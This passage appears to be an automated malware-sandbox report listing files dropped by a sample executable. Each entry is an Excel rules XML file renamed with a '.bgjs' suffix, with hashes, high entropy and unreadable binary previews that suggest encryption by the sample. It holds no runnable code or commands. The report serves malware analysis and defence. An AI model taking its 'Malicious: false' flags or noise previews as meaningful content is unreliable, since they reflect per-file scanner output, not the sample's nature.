SHA-512:	5554D60E469E68B2AC2A06EDEE118B77E540BDCB2399DF712D414D17825CB4AE48948B1D7CDA15CF5C6D01DDC2D8FE69F8B894CCF8B358066A6295B7BEE372F7
Malicious:	false
Preview:	<?xml}n....t..f....Q....3.4.Z....;.s......4(.L.....s..[:q.S.3r(OUs..M...$....{.8....$8...~.O.}..$..{.......+....'y.....r...Y...+.+.A....@\o.Ph.Da[.a..........9(.4m..U.O.........V..V.../.r..EQE.-.V.7.......PTS.yL.4.9&..v......U..v....o.........\BE)..+...1wnz..F..c....3.4....<To....c.i:d......4S....r..L. ...].4.r]JN.ahi3.B..y.....n.h...@......\..Nq.Gk...#..~...C.... =..O.g...B.E.vU...V.3..._..a.P.8 .S....h...a.^.6 z.lj......5X.H.3...)...y....ZH.7..g..).._..lm.C/.A>..d.c....]...(.{H`...?..p=pC...%.u....thC..!!Zq^........o.RJ%.w..$.[..6 .....j...A.$.......4u...{5..[..+.';......t....N]n.W....]D.\..%o...~.E..S..W...i{....W):"...J]3g...MO..6...-1...V..o.$.5NA...?.....6 1..[.%=........L.v..(u.Q,.Gs......a.M...=....C.,mP]3%.&U...Oi...`.[ls."z\.Q....b+...E....... ..aR...W.f....+..d.............X.m<EIGy(..1mc..:..a..o3..........b..[.U..(.1.....I2.v..$u...e9=.Ps.l..E....]......Q.[...%M_d....#:....i...uJ...=.T..p..1..*.ur.g.n.Gw...R_0.%hYG..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.94377058923291
Encrypted:	false
SSDEEP:	96:n8PWl3TqhUqAFdX8Y+xoueNiAGfUQhNnqKrnQG:Aq3kAPuxouerGfUQhNnLnQG
MD5:	111B8CF020C1BAC45EBF9E7C7A099F93
SHA1:	525EBD974D9AC2431AFC633ECA60D63AF0807B1E
SHA-256:	2C23EC08C03DE7C030CF546A13A12929D39FC066469B9272B0E8F8D9998CB743
SHA-512:	4DFE35FCB48352BFFD07FB4DF2C1379CC5716C44B06A16CE841F758891CB50A6EF94ECFBB775A55D105F2932E9EE29CC6F71A392465952AD7D82269BAAF57EFF
Malicious:	false
Preview:	<?xmlVo.....`.7ba.>..ed.zr..X}.{..x7\|]..y'...w..u..0...HB...l.R...V...1Q!....Y..K..G....^.7... .h4..t..B.\(B..D...q...H.'. .r.[......yB..i...."y....>....3..b...O.X.#/l..I.F.jS3....V..ht......v..W.....}8!.....LV..N$....Vp.a..2..[...Nq.:....V.....GNUJl2...#.....i...1...$./.ZQ}...s.'..X.^,....0.]...[...MC..E4T......`..qD\|Sb....._:U......;.. X......F.....4.B:.1!....Y.lVZ..!.y).$.w..2.....{YK.......1.=82.................<.."....(.......P.v....e2@lqs..0......>.........Q..3..T.`...i.E....U...K.!0.v.....@./.k0.....na....Y...>.e...M.lp..o]1.<jd.W].e.e...B<.J.g....qB.'.......:5.E,..P...0.R...v....D0..^fl.M../....m..9Aw6Ew..7.&mI.Q......y..HR..<....eyj......T......B.\|.j...29 .=......l..G...:.T....u.f.Z'.v}..EZB.$.8...O.\..SI.,...{......L.....).Zq..b.t......:..g...}K.i..!.D....FM...0..-#.]J.e......X ...d^,M.@.e.r...YFXH...h..~......n N.D.,......{..h..!....l.#s03...xX.4.".....6.G.....4.x..6...(...w...+V.?,..>.Q(..Sv<..Abs..{`..6....o`U..+.l?Y..}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.671847260259144
Encrypted:	false
SSDEEP:	12:c4lV//0zemcsWTYnCkDw2kyyADw2Em9OXndUgyut87FhUPj+qLuOcii9a:c4lVX0zQhTYnj8IAqOXnu5hNObD
MD5:	B2925484465AFABD14FFEF92EFADEF4A
SHA1:	23C2637D5B152CDC6F255747974650DD7A81F3D3
SHA-256:	53E6DCF4AB9C350992C58C0F936B0CED534B34EAA5BB8B17AC6171B582102CCD
SHA-512:	03269991873EC64641549CC0822B965BF822E713166847E5AE12F3F6178EB99EF624BCD0A494FA253051052621E8C5F25E2B8D4A5BAB2093A12EC3A92C5757D1
Malicious:	false
Preview:	<?xml{GG...:...Q..+..K'./.&.....%....k./.....e.AF...P..T.....\|..f_...%%.,Hh$..a.8Y"...2.....S.c-..LW...n..).yHk."..-5....R..2. zXd...9...L.4....zojN....W.....~..L..2k\|..Lx..8K^.6.V..#.cd>.7<p....s....9P...x...c.:........H.yj/.zi/....SnCj.......Dg...-m..aE..W..{.f..O...+......A4C........C.4..<.......^..x..]\|+.T9.L..J...#.,.......f.O..<.j.#...Z....{[.Z\....b...@...q..W.2..a.s..`@k.C..........M..h..6..2..l.......K............W.........}..:.p. e.K.......'].n.z]..N...adN.....H...E...I....9....}w+.66.d-.6#.x..n\|RR.Y..c.... ..$...y.u...K>...."...]...v....b.5.^...K..sn.kfp%..ALv..m..h>.*l.:.$n.)...B=bQ....mK....va..iRv/t.Mh.4.2..oE.#8Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.887426526248791
Encrypted:	false
SSDEEP:	48:Yt0fFwyad4A1pyJO4ARll6Q9munPryLBW50uItdD:YtiS+wAURll9LnPQsI
MD5:	A2602B2C8153EBDF27937B2C3F2314AD
SHA1:	88EDD0FF5D92AF0D859C356C809F37B48974F016
SHA-256:	6EEAC5F1775B556A63B1E59377FB77E18D83F66891603E387DDACBB1B6BB804E
SHA-512:	4F753FAFAD1B5957BE385FD4F72724113258283653666BA3DF42B3E56161315785F34588AAC1710BCC8DFF0AA7A5F09F6151C16E8B5AAF463A3F9F3FD31DBE20
Malicious:	false
Preview:	<?xml.....cA..k.^.....o...e..!2..`<w.t...T...0+.]z...b`...j..H..R.qoYrS.@=N.-.h3r.,.k.....H.....\|L.%A.<M.P.[_d[.%...Z.r......?...e9c(.<..v...L...m!..,.....6.b.fr.............\..w..[U.#./..@.J..P.g.L..!3o.. ...DN.J..=..P.O..=..q.}.&.._....;Y..0..P..N}....M..d{b..)..3.%.%..X1.P#.Yh.....:! .0RZ..4d....r;.L.q......@.].-w.....b.e>.\|..l1-.9.1.t...V....D..(.R....um(.\P..CU....G..a....bZ.`.=.zX...y.....0..~...........n..._-...ik.1....\.e.H";.[..'..OS.9g.2I.B...X....;`...o....O.@v....)..T....[...........3..:I.........=8U..:.W..t....Jg...v.........o.(..oO...p.g. .y.tQAJ..R.....n..8.._....tvn.gm.r;>.7l.KNH.u.......}f.........s..K.E\|QOX..).&{b.]QO..V.z..v...:r.&.C.l...D............}.YB......P..:9])..2..2.....L...`{..._......A...z.<..F.C.e..(0.)........P2~....c..1.......%..Fev..yf....e.~.[..W......:.L.ey..rC.zMJ.\|aZ..K.[.S^.p....\...qW.cW_p.T..%u.C..V.W..LcDW....}..!B.....;c.}r..PO..;...)f'#......f ..a...v...6..k.i."....X...w6m.o.&RK....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.696619745650131
Encrypted:	false
SSDEEP:	24:WhW67Ze1fqlDgIn0R9edFglTzCx3gaObD:QlYE1gPRMrECa9D
MD5:	02E028540791757DD368C759650577A6
SHA1:	3D868997B6A45A28B97774C9EB8E3337E4AFF202
SHA-256:	73903CD46DBA8546E11B02347DE2011F38ED14378E21B37D7DCAE15829C9FABA
SHA-512:	69D73A4FFAF8CD28F8C3D668DDBAE0CC052BD8B48CD56554D7C28A9CCCECB7C4C5CC1367C6B8984EB530F3E0750A938822B0C4BC05BFBD20EC11B27DA9176D43
Malicious:	false
Preview:	<?xml.....\%.r.m...o..\|...'.............a.tle.67...S.J.f:...W.`.v.{....ML.2C..ki....@......{.z.S..+O..7....t....h}.R$...%w....IT..DY..c....sZUM..:..St...,.x.bT..[.=.+w..c@.....{4\|@.b.....L..i.\|.....6cy...Y.w..u....V....D........X......'Q5...(.v...%.Qm.7.W...........h..B...L....!L.4<.d...8.h.lT.\|..U-.X?......4.d,..a.83...h+h..>K....2.U.....;.}L.n.....9=..b9.12mO~q.x...../r.s1.%bb....w"A.....`.!..<.y.Bh....K....C...5^...4.t!a....m.J....Ho..<.M.Bh......q.1...h{$N.D.:.]....o.l)..Di..I.dx.8l.....9.9..J@.z....wb._._.K..+.tib..`.{8...3....jz..,..b..C.>...F......s.....9Y.B..JPA}.72..V..kU.i;.W.`X7..=..U.._.v...!.;..9.. .nt...<B....df......%..Y;F.%.wV.jg..S<..a.D6..H,..`/..q..:.7.9..79..L..0...{@..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.792415391881337
Encrypted:	false
SSDEEP:	24:y8bJ+YFhfBcqhp6SXK9H9Iodh3IooGAD7gtmObD:yGJ+cp8iKdCoX3ICMgDD
MD5:	6473F0EB2EDDA32CE466B5E80560E8C7
SHA1:	EE047584F8F9AD5F6C5C6C31275E23DB13C340EE
SHA-256:	A8A4D8EA4AFD16248DB6CC8122BDDB304409364389F21EDBC3DA86D27E540974
SHA-512:	CA5B0F68026BED801D8CC849AF5D30B7E072B2233BB90657CB17535C7F0E2B7C27AFE6661275BAF0DB962023CCF7D7B235D43EEAE97FF65D6EB2400BF30636DC
Malicious:	false
Preview:	<?xml.V......r.....T..@..p.....P...[x..G....bm.a'....o3..H.U.A#)+A1c.P...<..*%.}..{J.@....n7.......\|29.A.s...H...F....6....]...J..3...d..0.V.?)h.....d.....R$0..Un....oq...<f...UT..t.t..=!.~e..$.u.D8.._...r....Q....TK$.;..c...%.......1.J .s}.._vfP....!-.p.{t...kU..g..F...aM......q..FS>.C..U...$-,.;:...`YX..MSyX.r=.......M..\|.I...i...<xi.X...h.k.b<.11u-..Tm.$.....d.L..E.....w.c.bB{u...<.{D..F....T..R. _..Z.I...%.jY\|.....L.$..P../....j...KEo.......Tk....O2.t-}...QJk.m...a..5q..F........?~..P.."<.N,...sS..`.?......+.;....... 4.m(../4...xYXg..]...W...4..P]B..'..4...wvov...F.....H`{7....V}...A..Y.g.G.k..@b.D..(....,Jg....z...Af`S..}v.W\p.p5.=)..q.N...d..-E....Z...:g.ebM'.R5E....&M......-..n......,..f.sm!?0.........w'...A....S<.A%uR...l.m`L>o.V..../..$d.......k.NB....(..!\|}.e..?.....^'..O.rw.0..pDu..4V.4b.%#....(..rB.+..pw=/B..../KkS..A...(.....m.sNT..\|.......Y....AH@k.....^....N!.\|.n.Pf..i..VZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.827224816978363
Encrypted:	false
SSDEEP:	24:XiN4GiCKCC2RDrS+nNz8+G8bSNb9FE/FjhtlYj9sRmgXKzCe1k7BObD:SCGOurLNzfDSN/E/FNte6ozOCD
MD5:	E4C6C66D40997BB91662158CF87E12FF
SHA1:	592D0C8E87395B6C7906BED5239D2E3E24DBDFBF
SHA-256:	8AB77B1864874A97E22A0CE5A21DF4E360615BD502AC58A532AD24F9E9F388D2
SHA-512:	A7BF85604F64CCF452ED14C739F0A2EC7667CFB47A206018C31FB1B9AC51D695110AEEF8CA58C9E6500106403D6AC75A92917D7A75C0BD4F04D00D1D6B8595E1
Malicious:	false
Preview:	<?xml.JY.4.\|r...F....!....;......o..GV.}...l.8B..b..CPD!.Up..u...:.....%...B...l.0.'m....Q..g...~.t?.:...F@..A....^.u.....G.\|.+..H..7.......#D...t.G.+^%......O.x....[.\.sR.R..9V.w.D....LN.J....t.....0/&vo......;...R4..?Y.8.$.Y..lI.I...X..t..i.....^-..\...!..=..T..i.X."V.......Q...O\|n.E...._y...cLC..\|Oy...m...L..;w'.....@.2...w.u.]c.6..M`...`v...:.=j. .Y.......#...Q.....u...p......OJ..C>.S"1.n..q../..w.m1.et......3.X.u.k4.V........X.....M.qz....T> Z+....?#..DAo....X.DWw..l...N.1..M..>..."......C..XY.6....@.j+.[m..:..@..b..?OF9.m..().. ..k....2...:...7...L.4I}.........C..J..K,..r...[..n..-..'.).......$.H\..~.......&6.J.s.!.q9qt.);R/\|.u.v^..........%...S9..[.gG..-D!h.../\.s.xn..!&Kw..He[k<.5j.v.i.2...)l...N.U.....q..+H....joj.X...6v.......$.....ZF^......8B..w......1jyf........."...tg....._?^.g.^8.Z.+...H`.&..[..Gs. )`,.........-PB\....l .r.;}~..]......[...xN...q..X.._J...5.......hG.f.........p...-...!.0..j...g..........t.k..(a..../..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.9306484767174465
Encrypted:	false
SSDEEP:	48:8lZagFbkV/DcL88RynDO4hsr8vc+yKBwjdw6tSY6kP6D:8TagFW/DcA8RynoOc+yEwRt/6kPS
MD5:	FE8A396EF72652840B275C57D268D2FD
SHA1:	488143F3AE5A9948369C8AF12E7FBE36FC6AAA5C
SHA-256:	F83B1BD66023995BA742B42800BCCF19ED5D2F8C0640C62F5A7DE215B4651EAD
SHA-512:	9015055A2D2265D7E799EED904E523708DCD8E6771229D9561CDFDC07AF76B3097793F2272A9D990561DAEFA3A84E9134BB5B80C9DAEA6A509D304DEED82E85C
Malicious:	false
Preview:	<?xml......i.a....N.~....Azn.).....5.6"R..s\yR..?N....&.T..h...z....s.[.7..n.t..o.........$..\|YO.6Y.....{~...$Sj\|...i>.....Z?`7...AFl...>.Z,.78.....\.Q..Y.w8].....P.03&.....a..o.E$.Q"...gt....xM.>M....m$T........e._.E{[....4{..J%...hf......F7W.E.Z..jkU.smdl......}..54........8z"......?].1...RM...D..vK>.ot{.l.....[..R..EB.c=....Y.b^..TX..:..1......\|.^v.8.l.w..J{B..5...=d^.m[i.tU..g..o.,W..o...U}..p'.4t..*.8.....@....k.:......R..-gr....D......?..$1.....E.C.E(....jX.>./.#..5.....M...T%F.....4qY.....cLF.../..TcG...q......J..+...q24..VJvU9B..x5..3..%Or+...w...5N8.H0.@.@........0.r.{".l{...s.k.....e.pu...N%....^...:j..'....L.=._..'Or....Y..u......$....q...M.+.BOUE.v....&.^r....}.LDoJ.>L...yD....1...U.g.T..\..u..Y`.....G...).@o..L.v.............K...pcr.Mu...p..5.6...\|......%.S2j..`.q........./\lSyY.\v{F.........p...xtU.....N...h.].Q......m.+la.q.c........\!JY.f......kxdz...)............4t.....g.T.......-.._.zs.?O....5..W......q.F.ln.R....sDiX.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.829810878935427
Encrypted:	false
SSDEEP:	24:uoKzjtaqfzKOq+gLgNs43+k1jCsk3Bkp7i66WNzA6kdgAFok4YqkqTZThO4GYU5I:uoKt/rBZNsC84AWL4mkHsTVGFuD
MD5:	F29296C6DCC566F192B8ED78F41500E5
SHA1:	ED8492EEFCB596375D8B0557E5A788E9D472A94F
SHA-256:	FBA80C1C6870C79AB04D8D2CA997757BC79CF515F84D3C694B958BF230E7EFC6
SHA-512:	CDB1C1691416B27019D9FCBFCFC3FA5AC8A50FAD2D80DC4FF9B299C865AF909F71A3E5CAA33CDBC5D82D99C235E6E288401D4D152D5ED1E51B0F510D39CB1128
Malicious:	false
Preview:	<?xml.m2.J..B.D3..2E.z....+1.....B.A....1$...6..........;...L..N.........h1....... ..H...Jr.,....>U..I. .......R......$..XC.....N.K"U.!f...=..,..9UWS.....E...u...zm.-..R./%.0..c....l^o.Y.{C.....x.!..@.2.U..^!.k.'..5..I.h.r\|9.....+M.B9u..\....#{.2..H.v .....R@k.....dh...#...............#....V&.B.Z>.#b,sdm6.[...M6.U.a0.4\..C....(N)I.....H.p.b<.......`f.\....F`..J^q..:.x;.g!..x(.......w6.NG...v...i..L....<C...U....8....\|..W.M..c!.{.....0g.t2.d8......... .T$1d..$....gg.RF.^.j-f.>x.3.tyD.S\|...4........G.W...?...aQ...^qd..{O.07.W.........'..u,.....O+..)r...hiN[.....i..p.nP.>.....M.0kB.E.D..[X1.:.1..`:E.!...A7?i.oD..y...M[,t......h-..1l..W...E8......CC/.[V..X..k...\.N.E.....2....1......kP.p.N..h...c....Z....s.!.R.N...i.@.........4..~e.9.8."...X.y'.dl.....uB..Xcr4j.....<0......X.\|-U.ml..R..Rs........&...+\|8H\|.....+.?0.L.........0.....C.Y...D..!..D..$...LbER..a1......_..v....R.......%.]+.0l.]..S'J..A.y...........HL7x.......W?d..].<..:.iR...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.808560153971301
Encrypted:	false
SSDEEP:	24:gtX6xX26uAkuq/J0nGEuYKu5qheTjwupFhbnNGchU5ObD:4Xcm6+2G5/ojR3bngiUuD
MD5:	C283B01081AA5F2F8E4D7954EC81D46F
SHA1:	21AC7F6D30FAAE06FAC667A722CE022F34CD12D6
SHA-256:	37A4B9D14A6D36319405A50534BF024F6943A3D70D5D912C5C7AE268D4D88811
SHA-512:	D1EF89E8A8BCF8A87013893E148E0802EF8FB573ED78D76DD47BDEAD967B5E82B4FE6DDB12D30837187CC4276E7756ACC5EC3D6DE15AFDC04348F5F9DC2D99F5
Malicious:	false
Preview:	<?xmlx....?SX....&.v:.P.K...MQL]2?.C9.>....E\.S;.$u.}z.....7!...}'z....(.u.l..{>..4..+....6.[.J.\.?..)..T,.{..OL..2T..l..]...%.....H}..y.Z.P.P-J.......'....qg.]s.].iX........x\|..R3.h.l..9.....7.U..hq.....Zf.W....3..t.....=...gm9../v0...0Q.o..8....et\c.W~X..kS..8...z........P..Z.N.5..P...6...(w....a_l...5.@.d..=.S...)N.........i..x......aj..q.v.01D......Ds...1r...;..6......Fv.\|)V.7..+.P.....z...q.....;i!>.No.G.5.s!I..3K...U.P.E:<.@!......1+.FqW...n./#......w.v..2%..:[....p.X..i...[rBnt93u..UO...".Z1o...m..5.....^....:c..!.^.2.6.. ..F....V.0e..[S.tX[.?V.........?."b.Z.R-.,..)j....~j.T.-..D..O.....-k.....(V.....!.f..n..~..:..^..M....!.......^u.[..z.!.H.J.)...B....G.(nY...."..}.-.^..I.a..V.q{e_b..7.L....U.1........M.e6.Y.y.....&ohG6.@.).....yrWtEXj/..U...\|...;.x.Z...U.....tw.:..."o.Z..@^1#.$..,K....FS!.......K..".)TS<^`.=.+....2...#0......BLuJ....[..]R..l>h.7..L...n......(=....=...Y1..Ah.H....u.....{...m".Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.869969677201461
Encrypted:	false
SSDEEP:	48:uCYnjfBX05hIUv5DcNaSNbg3y2PpsMN9yXHjHvrvqN8ZZNNlD:uCYnjfB06UVZSBgi2PaXH7vb9x
MD5:	543A4F860825E8369F9C0006ED6B7F7A
SHA1:	674D55B2A98D7D923E9763A95EC27E87239AF825
SHA-256:	0D0CEF62F49157DC5016571BCE04CF9945A1F7EDCA0F6DE83D429F754EE15976
SHA-512:	A5744219165044ECF5382FD089BEF99ACE84DBD2E6B616DA44AC7C190E46FA50C90531F6367016AB66D8863EF4D66E8288B158FDFD95D9C79D83F81CAF2D987B
Malicious:	false
Preview:	<?xmll...R{...).h.{c5....\|.:.#V....N.H...<.t...F.....K.%.}.@^Q...q.lr..M^{j..6......MBR.\|VT6<...H.!.....C1.......bR.r..>n.-..y.C...`s.$..8I-]....WD.~.w..9.r.......a.6..:............&..6.m...'..........0....'.e..n .mN.91.w..=......k)... .....G1.....w.i.lK^...yO.....CR..J..U?....c..[GO...@......_4.$K}..d&.\.)....l.....H.&H?.......\.....$=&..m..,...G..../.N7.b...F#.d..O.."9).C.O.._@!.Z_Hn6.....o,.5......\..Z<M].....:p.OeQ;.7=....u.S..b.l.,...\}.. .6..Q\..Z9@..Pm..V.,.v.xO..U....Y..\..._.>.....hl..lZ.B.../R.I.Re'&MX.U.N!......8[....;...~..[..<."8\|../....b....&.\|+<.j.....'....y6......LWou.g..5...m9...../.vO..G.,>V...../..x..........u....x..J..Sp.+./3.(.l.s........B.P..z...e.F^....)..]8..r....S...X.T..%BFE..q....F.=.x...6...?....)..p....lR.....5'.!...4.;..f....8sz.'.]..Y..&.L.....t..t.31Em.l<2..[.o.9[.'.=...= E.f(.^R......@...D..i...j..._..?.L.............e7...h..T....2k...@I>F&.\..o.g..o...a....dsjx#.....g^......KP..[..c.k.r

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.841288116535194
Encrypted:	false
SSDEEP:	24:Ev5cFsoL2oIW9hkVF9HgSUy3z54c4pq3LF2uMHgZJ7ZJ1ObD:Ev5cFlq6c79HPm4LFjZBCD
MD5:	67D83D23C6F9F01342910D8666CE6144
SHA1:	768DD6B37B4A3EA1EA135630AE5F45A005325943
SHA-256:	1FB4DC44C037F8035983B44536CF39E6B7E74A7017B06BA6E9F9AFBE01E65CB1
SHA-512:	67275ED2F18A3641BF9898FCE25A8CE6512B42B2F063456A17C59E6C3007D5A22FB536B945C05087088F477BADF818FE106BBCD558046BC1EB008C195442FCAA
Malicious:	false
Preview:	<?xml.X......6.5.V.2...x_\O..'..I[M.Z.\|.O......(...^R...`.6._....r....LK.E......F%.S........V.....W.7=.....\.O. ..%9u..s.K_UP [.,_VNL[..,2.!...F.5...&....[m....C............Se$.`-'.V..V......d..3....yn...8.fgJC1...QP9TS!...An....!.z(`....F...F{...qf...I.V.3%0wj..(.,IWu;.....Q..........u.. .h...P...E.d..5f...x..p. k...AC=..#....C...- W....x...]..:;.pp.N.z...~F6..Y.i.j.M.En.d.58\u..l.....\|.t....:...D.)K..^......l.v7bk[.osX....?)6....h..z.V..p..T....e...J7=.w..M$.b{.(.....{...nW...a.....h.2....1..1....P.....z.............,..........O3...W...1q.L..j..a.H:\....V.y9%x..P....Z..p....Q..,<.....(.3..s...{.]..........C.\|K..........pQ..@.&.e..I...H}..N.+4....z>.z.v.L........@.V...t..../.6....x.(...r\....>......h.%...Z(.~d.\...8...5......R}.._^........X.'0V.....g.Y..v...7db..hSA.h..+?.rZ.3.+.B.\ ..yw..3.\|.`..f5.'.V.).?..cT...'.g...)...VkS..S....5'..M.%..^..c\|..H.s7.s..P7......~9.....Z...A.x..x...Z.D.t..J.eW..8,N..l.h..2....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842797554460502
Encrypted:	false
SSDEEP:	24:+kaMLnZSRbi5LZMTF1MyvPFCiY97JGpdoA3A1f4T7QhDzKKXvYqkObD:+bunsRbiQTF1MWAisVGpdot1fE7qJvHD
MD5:	B54BEB2A60156A6DD8C8152B18D03285
SHA1:	22E380ECADC03CD1290F1C9D3685B14587B3806A
SHA-256:	12E164D0035012077AA5FCC97144B5548EF168F9F0DC6A34591E37C68C591446
SHA-512:	4D380E0EA381AE61E2CCB32F2AAB18B2BC0DFDE7CC510095AF5CA2277FE28E2CEC08C9C237AEC549CCD3D295FF03B60E87611A7D0AC88330361EE96CEEF4396C
Malicious:	false
Preview:	<?xml..W..z....=x#G...0.>...:.\..m.~..(.zp.K....G.eU....+O.X..N.V:.H..wE..j.4.T>d:..;../q....m......M.....\|..]h. ...$r'..b........JI6..d... ]....Nj..;.P.E5....4..A...2..H.Ra.+..[........Qm,....S..u..X7........;...pW.=z'...H.....\..o.q[?t.kFA..vW....A.&.z..Y...W.$...T. ..[...`.VBy]B.9...<..(....._..N.8.}....59.`Ur...Zu.,e......O.L~nk..?TMB...~=./!...0.\|M..K...x....k...\|.}.:.~4. 0.glR..Ci...'%......;....Y.h#._.y...H.8n.......e...Y[.?..Go.1\r%...+i.e. .;.3\.b..6y.....N....Tz....-y.{beJ.{.d........:......E....x&0.=)....&.Y...k..N.M.O..../..+....[.E?p...Iy....b..wm.....^.T ..t{/\..=.yH................r.4D.5...8.d.H...&....n.T..az..../'...+.}..b........a.)n&~..aNv.0..+.UV..u.jk...d....\|$I..L...z.7..r.k'o...z.l.._.K;.U@x......*..k3I.<...BZ...c..T.!.T.E...J....'...s,`..Y}g]k.u.+..$....le..R6...'.N...v.".0.R..>.t.\^P.H..3....j..`..+,my...y..C....0...MD)".o.......~D:..$-h;.I.....x+.k.2.BiVA......X.uS..E.;....:.4..]rZ........o...U.I.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	7.902841403786529
Encrypted:	false
SSDEEP:	48:4Iw19AX3kTWrNZxHjgY/AVlg4VpVsM789z24riRL8C8+6DCMifD:GRirNb8YMlg4Rh89JGGC8+6+M2
MD5:	008E20092E558E4EA2188BD6F36CAB2B
SHA1:	AB678926CE7AAC44603E213E2E3710955A225309
SHA-256:	DFDF53317F3008E62EAC56436AC1604289762468902430301DACAF78181ABA24
SHA-512:	EF2D6674CCD5E1CB077E41C39D66F35EE88EDE3F274E2B92E800CC600F706D5039C6200201D76B1D77529D7D2E9BC42056770D67AA40CB4280F5A59FBAE13AD4
Malicious:	false
Preview:	<?xml{R.J%.@.8k).t.......h.t`..N!."?....x.+ .,...H..A..,.F..D..........L..,?....v.@W~......~.5..:...`Zv...........y$.....5h..\|...w!eC.G..Ms...3...6..F.)^.};g.B.#"..."..l.D....Z.....dS.....}T.5....r.n...>....vf1XA.;..o........,_!..U.....YJ#n.D..mJ...AX...$wf.m...8..`C.....V..^-..i#............#.bJ.t....%...,..`..3.E6'bL...+eU.{2.L....Y.".'..U..Ih.g..............@vVp1.uo.s....FZ.H[..X>.....i1.YK....x.+B+.....;.2...rL.7.^b.0.bf.'...S.$<.^.H..$...b.B.%X7\|J....T.4...O.aJ.SxH+:..gI.o}..[...........Bz.`.Q.R..x-N.<,.....?k.)rTJ.+....=6...........=..Ie....$u../........g...n....(,.\|..J.a...'.M1...v.#5rL.O.w.$.U.!.c.t.....G<..H.\.$.3.).I0..Z..0Q.br,.....1.....'p.c......w.v...P....j.%..QqN./u......{:..XT?E...._.zQ....V9....G.UA<g..dT.....N....!7...2.#F97..j...CH....&.Jp...;6.......Q..1\|?r>...w...y...`...3.w..JzT,1X....}....5\..2..&...D.L.r...b..B..Y..j.V.........LF...r'5.Q..2..-#.@.T.\-.Cp.}C+..........@WZ.?R.../o...U%.f.....@..V.g....K{

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120126v8.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1506
Entropy (8bit):	7.874806491063909
Encrypted:	false
SSDEEP:	24:ac88s+G2Zpwt3neVYH/cjGcIgUyjxcPavWWnd0zfDLaefHJDo+H0WYs5eQNtn1e7:aMG23wt3nWoEjGBFywaOWnpcHJc+ZFYF
MD5:	8C5C65C4FA1A723D0F7BCFAD8DE97379
SHA1:	38CFE1C48AC8C8F5C2BA2A7BE205A734E5AE0057
SHA-256:	2BD491E1E45FEE71A42C72F0EAF9148B113A0CDA9DC9C801AFB2818FC6582CAE
SHA-512:	CA663790717A94523F5F348AE01C1D8CB14D3B11288D1432515950E173FCAE246DA79F80D22ACB1AC759089F65DBB5FD7FDC90B1102059342FEA13502D4FC3E2
Malicious:	false
